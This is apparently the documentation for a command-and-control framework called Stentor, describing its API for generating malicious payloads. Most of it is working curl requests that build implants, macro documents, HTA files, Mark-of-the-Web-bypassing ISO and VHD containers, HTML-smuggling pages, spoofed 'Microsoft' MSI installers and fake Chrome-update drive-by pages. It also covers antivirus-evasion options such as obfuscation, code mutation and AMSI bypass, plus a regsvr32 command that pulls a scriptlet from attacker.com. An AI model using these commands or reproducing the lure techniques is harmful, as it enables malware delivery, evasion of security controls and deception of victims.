Payload Formats¶

Stentor generates payloads in 17 output formats covering every major delivery scenario -- from standard Windows executables to MOTW-bypassing containers and browser-based HTML smuggling. Each format is purpose-built for specific operational needs with distinct OPSEC tradeoffs.

Overview¶

The payload generation pipeline transforms Go implant source code into deployable binaries through cross-compilation and optional obfuscation on the Relay agent.

flowchart LR
    A[Operator] -->|POST /api/v1/payloads/generate| B[Backend]
    B -->|WebSocket dispatch| C[Relay]
    C -->|Go cross-compile<br>+ Garble obfuscation<br>+ Donut shellcode| D[Payload Binary]
    D -->|Return binary| B
    B -->|Store + respond| A

Stageless vs Staged Delivery¶

Stentor supports two implant delivery models:

Generating Payloads¶

API Endpoint¶

POST /api/v1/payloads/generate -- Generate a single payload via the connected Relay.

Request Fields¶

Basic EXE Generation¶

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64",
    "filename": "update.exe"
  }'

Batch Generation¶

POST /api/v1/listeners/{id}/generate-all -- Generate all payload variants for a listener as a ZIP archive.

Produces the following variants automatically:

curl -s -X POST "https://stentor.app/api/v1/listeners/6ea88162-d558-404a-a19f-4b4cab34b22f/generate-all" \
  -H "Authorization: Bearer $TOKEN" \
  -o payloads.zip

Regeneration¶

POST /api/v1/payloads/{id}/regenerate -- Rebuild a payload from its stored configuration. Useful for generating a fresh copy with a new hash while keeping the same settings.

curl -s -X POST "https://stentor.app/api/v1/payloads/abc123/regenerate" \
  -H "Authorization: Bearer $TOKEN"

Download¶

GET /api/v1/payloads/{id}/download -- Download a generated payload binary. This is a public endpoint (no authentication required) so targets can fetch payloads directly.

curl -s "https://stentor.app/api/v1/payloads/abc123/download" -o payload.exe

Auto-Hosting¶

Set host_uri in the generation request to automatically serve the payload at a specific URI path on the listener:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "filename": "update.exe",
    "host_uri": "/updates/kb5034441.exe"
  }'

The response includes a hosted_url field with the full URL where the payload is accessible.

Core Payload Formats¶

These are the fundamental binary output formats that all other delivery mechanisms build upon.

Windows EXE¶

Standard Windows PE executable -- the simplest and most direct payload format.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Windows DLL¶

Dynamic-link library for DLL sideloading scenarios. Loads within the context of a legitimate application, inheriting its reputation and trust.

DLL-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "dll",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Service EXE¶

Implements the Windows Service Control Manager (SCM) interface for service-based persistence. Runs as a Windows service, surviving reboots and running as SYSTEM.

Service-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "service",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Raw Shellcode¶

Position-independent code generated via Donut conversion. The most flexible format -- inject into any process without touching disk.

Shellcode-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "shellcode",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "shellcode_config": {
      "output_format": "raw",
      "architecture": "x64"
    }
  }'

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "shellcode",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "shellcode_config": {
      "output_format": "csharp",
      "architecture": "x64",
      "compress": true,
      "encrypt": true,
      "bypass_amsi": true
    }
  }'

Stager¶

Small downloader (~50KB) that fetches the full implant from a staging endpoint. Two-phase delivery reduces initial payload size.

Stager-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "staged",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Document & Macro Formats¶

Traditional document-based delivery mechanisms. Effective against legacy environments but increasingly blocked by modern Office policies.

Word Macro (DOCM)¶

Macro-enabled Word document containing embedded VBA that executes the payload on document open.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "docm",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

Excel Macro (XLSM)¶

Macro-enabled Excel spreadsheet with embedded VBA execution. Same capabilities and limitations as DOCM.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "xlsm",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

HTA¶

HTML Application executed via mshta.exe. Supports three attack methods: direct executable download, PowerShell execution, or VBA shellcode injection.

HTA-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "executable",
      "title": "Document Viewer",
      "body_text": "Loading secure document..."
    }
  }'

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "powershell",
      "script_type": "vbs"
    }
  }'

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "vba"
    }
  }'

Container Formats (MOTW Bypass)¶

These formats bypass Mark-of-the-Web (MOTW), preventing SmartScreen prompts and zone-based security checks on files extracted from the container.

ISO¶

ISO 9660 optical disc image container. Windows auto-mounts ISOs on double-click, presenting files in Explorer without MOTW restrictions.

ISO-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "iso",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "iso_config": {
      "volume_label": "Q4_REPORT",
      "include_lnk": true,
      "lnk_filename": "Q4 Financial Report.lnk",
      "exe_filename": "reader.exe",
      "decoy_filename": "Q4_Report.pdf"
    }
  }'

VHD / VHDX¶

Virtual hard disk container. Functionally similar to ISO for MOTW bypass but uses the VHD/VHDX format (Windows 8+ native support).

VHD-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "vhd",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "vhd_config": {
      "format": "vhd",
      "disk_size_mb": 50,
      "volume_label": "DOCS",
      "include_lnk": true,
      "lnk_filename": "Open Report.lnk",
      "exe_filename": "viewer.exe"
    }
  }'

Modern Delivery Formats¶

Contemporary delivery mechanisms targeting current security gaps and leveraging trusted system binaries.

HTML Smuggling¶

Embeds a Base64-encoded payload in an HTML file that reconstructs and triggers download via JavaScript blob. Bypasses email gateways and web proxies that inspect file downloads.

HTML Smuggling Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "html_smuggling",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "html_smuggling_config": {
      "embedded_payload_type": "iso",
      "title": "Secure Document Portal",
      "body_text": "Your document is being prepared for download...",
      "download_filename": "report.iso",
      "auto_download": true
    }
  }'

MSI¶

Windows Installer package executed via the trusted, signed msiexec.exe system binary.

MSI-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "msi",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "msi_config": {
      "product_name": "Security Update KB5034441",
      "manufacturer": "Microsoft Corporation",
      "product_version": "10.0.19045",
      "install_scope": "perMachine"
    }
  }'

OneNote¶

OneNote package with an embedded HTA payload. Emerged as a popular delivery mechanism after Microsoft blocked macros by default.

OneNote-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "onenote",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "onenote_config": {
      "embedded_payload_type": "hta",
      "button_text": "Click to View Invoice",
      "title": "Invoice #2024-0847"
    }
  }'

Excel XLL¶

Excel add-in DLL that executes via the xlAutoOpen export when loaded by Excel.

XLL-Specific Options:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "xll",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

COM Scriptlet (SCT)¶

XML scriptlet executed via the signed regsvr32.exe system binary. Supports execution from a remote URL without writing to disk.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "sct",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

Execute on target via:

regsvr32 /s /n /u /i:https://attacker.com/update.sct scrobj.dll

LNK¶

Windows shortcut file embedding a PowerShell download cradle. Double-click execution with a customizable icon.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "lnk",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "filename": "Q4 Report.lnk"
  }'

Format Selection Guide¶

Common Options¶

These options apply across all or most payload formats.

Architecture¶

"architecture": "x64"

Target architecture: x64 (default) or x86. Most modern Windows environments are 64-bit -- use x86 only when targeting 32-bit processes or legacy systems.

Obfuscation¶

"obfuscate": true

Enables Garble obfuscation during compilation. Each build produces a unique binary hash, defeating signature-based detection. Increases build time by ~30-60 seconds.

Exit Function¶

"exit_func": "thread"

Controls how the beacon terminates: process (default) calls ExitProcess -- terminates the entire host process. thread calls ExitThread -- terminates only the beacon thread, leaving the host process running. Use thread when injected into a legitimate process you want to keep alive.

Kill Date¶

"kill_date": "2026-06-01T00:00:00Z"

RFC3339 expiration date. After this date, the payload self-terminates on startup and running beacons terminate on their next poll cycle. Use kill dates to limit exposure windows during time-boxed engagements.

Malleable Profile¶

"profile": "jquery"

Malleable C2 profile name for traffic customization. Profiles control HTTP request/response transforms, headers, URIs, and other network indicators. See Malleable Profiles for details.

Sleep & Jitter¶

"sleep": 60,
"jitter": 25

Beacon callback interval in seconds and jitter percentage (0-100). Higher sleep values reduce network noise; jitter adds randomness to callback timing to avoid periodic-pattern detection.

Auto-Hosting¶

"host_uri": "/updates/patch.exe"

Automatically serve the generated payload at the specified URI path on the listener. The response includes the full hosted_url. URI must start with / and cannot use /api/ or /c2/ prefixes.

Code Mutation¶

"code_mutation": true

Enable per-build code mutation to make each generated payload unique at the binary level. The mutation engine applies 4 techniques at compile time:

Generated mutation code is placed in package beacon with init() + runtime.KeepAlive to prevent dead code elimination. Each build produces a binary with different code patterns, defeating signature-based AV detection.

Code mutation is applied to all 5 direct-compile payload types (EXE, DLL, Service DLL, XLL, Shellcode). Stagers are excluded (they import internal/stager, not internal/beacon).

OPSEC Guardrails¶

Configure runtime execution guardrails to prevent beacon execution in unauthorized environments.

"guardrails": {
  "kill_date": "2026-03-31",
  "working_hours": "08:00-18:00",
  "working_days": "Mon-Fri",
  "timezone": "America/New_York",
  "geofence_ips": ["10.10.10.0/24"],
  "geofence_hostnames": ["WS01", "WS02", "DC01"],
  "geofence_domains": ["corp.local"],
  "geofence_usernames": ["labuser", "CORP\\jsmith"],
  "dns_canary": "canary.yourdomain.com",
  "edr_check": true
}

Geofencing is re-checked every 10 poll cycles (not every cycle) to minimize detection risk. Working hours suppression uses a single long obfuscated sleep instead of rapid check-sleep loops. The CleanupArtifacts function removes scheduled task names, registry patterns, and self-deletes the beacon binary via a batch file on exit.

Transport Selection¶

"transport": "quic"

Select the C2 transport protocol. The transport is auto-detected from the listener type in the UI, but can be explicitly set in the API.

See QUIC Listener for details on the QUIC transport.

Drive-By Delivery¶

Create a social engineering landing page that hosts a payload download disguised as a legitimate software update.

POST /api/v1/payloads/{id}/driveby

# Generate a payload first
PAYLOAD_ID=$(curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }' | jq -r '.id')

# Create a drive-by page using the Chrome update template
curl -s -X POST "https://stentor.app/api/v1/payloads/$PAYLOAD_ID/driveby" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "template": "chrome",
    "auto_download": true
  }'

Response:

{
  "driveby_url": "http://10.0.0.50/update/chrome/<payload-id>?auto=true",
  "payload_url": "http://10.0.0.50/payload/<payload-id>",
  "template": "chrome",
  "payload_id": "<payload-id>"
}

Available templates: